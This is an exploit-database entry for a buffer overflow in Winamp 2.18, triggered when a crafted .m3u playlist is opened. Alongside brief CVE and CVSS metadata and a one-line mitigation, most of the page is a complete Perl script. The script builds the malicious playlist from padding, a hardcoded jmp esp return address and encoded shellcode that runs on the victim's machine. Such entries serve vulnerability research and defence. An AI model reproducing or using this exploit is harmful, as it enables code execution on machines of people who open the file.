Buffer Overflow Exploit in Winamp 2.18

vendor:

Winamp

by:

data$hack

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Winamp

Affected Version From: 2.18

Affected Version To: 2.18

Patch Exists: YES

Related CWE: CVE-2009-1350

CPE: 2.3:a:nullsoft:winamp:2.18

Metasploit: N/A

Other Scripts: https://www.infosecmatter.com/nessus-plugin-library/?id=36103, https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/windows/smb/netidentity_xtierrpcpipe, https://www.infosecmatter.com/nessus-plugin-library/?id=137170, https://www.infosecmatter.com/list-of-metasploit-windows-exploits-detailed-spreadsheet/, https://www.infosecmatter.com/nessus-plugin-library/?id=62580, https://www.infosecmatter.com/nessus-plugin-library/?id=62579, https://www.infosecmatter.com/nessus-plugin-library/?id=57770

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP Pro SP2

2009

Buffer Overflow Exploit in Winamp 2.18

This exploit is a buffer overflow vulnerability in Winamp 2.18. It is triggered when a specially crafted .m3u file is opened in Winamp. The exploit overwrites the EIP register with a jump to the shellcode, which is then executed.

Mitigation:

Upgrade to the latest version of Winamp

Source

Exploit-DB raw data:

#!/usr/bin/perl
# Versions affected:        2.18
# Tested on:                Windows XP Pro SP2
# Author:                   data$hack
# Usage: expl.pl


my $file= "exs3.m3u";

my $junk= "A" x 223;
my $eip = pack('V',0x7C836940);  #jmp esp from kernel

my $shellcode = "\x90" x 10;

$shellcode = $shellcode . "\x33\xc9\xb8\xa2\xe0\xe4\x44\xb1\x33\xda\xdf\xd9\x74\x24" .
"\xf4\x5b\x31\x43\x0e\x03\x43\x0e\x83\x49\x1c\x06\xb1\x71" .
"\x35\x4e\x3a\x89\xc6\x31\xb2\x6c\xf7\x63\xa0\xe5\xaa\xb3" .
"\xa2\xab\x46\x3f\xe6\x5f\xdc\x4d\x2f\x50\x55\xfb\x09\x5f" .
"\x66\xcd\x95\x33\xa4\x4f\x6a\x49\xf9\xaf\x53\x82\x0c\xb1" .
"\x94\xfe\xff\xe3\x4d\x75\xad\x13\xf9\xcb\x6e\x15\x2d\x40" .
"\xce\x6d\x48\x96\xbb\xc7\x53\xc6\x14\x53\x1b\xfe\x1f\x3b" .
"\xbc\xff\xcc\x5f\x80\xb6\x79\xab\x72\x49\xa8\xe5\x7b\x78" .
"\x94\xaa\x45\xb5\x19\xb2\x82\x71\xc2\xc1\xf8\x82\x7f\xd2" .
"\x3a\xf9\x5b\x57\xdf\x59\x2f\xcf\x3b\x58\xfc\x96\xc8\x56" .
"\x49\xdc\x97\x7a\x4c\x31\xac\x86\xc5\xb4\x63\x0f\x9d\x92" .
"\xa7\x54\x45\xba\xfe\x30\x28\xc3\xe1\x9c\x95\x61\x69\x0e" .
"\xc1\x10\x30\x44\x14\x90\x4e\x21\x16\xaa\x50\x01\x7f\x9b" .
"\xdb\xce\xf8\x24\x0e\xab\xe7\xc6\x9b\xc1\x8f\x5e\x4e\x68" .
"\xd2\x60\xa4\xae\xeb\xe2\x4d\x4e\x08\xfa\x27\x4b\x54\xbc" .
"\xd4\x21\xc5\x29\xdb\x96\xe6\x7b\xb8\x79\x75\xe7\x11\x1c" .
"\xfd\x82\x6d";


open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";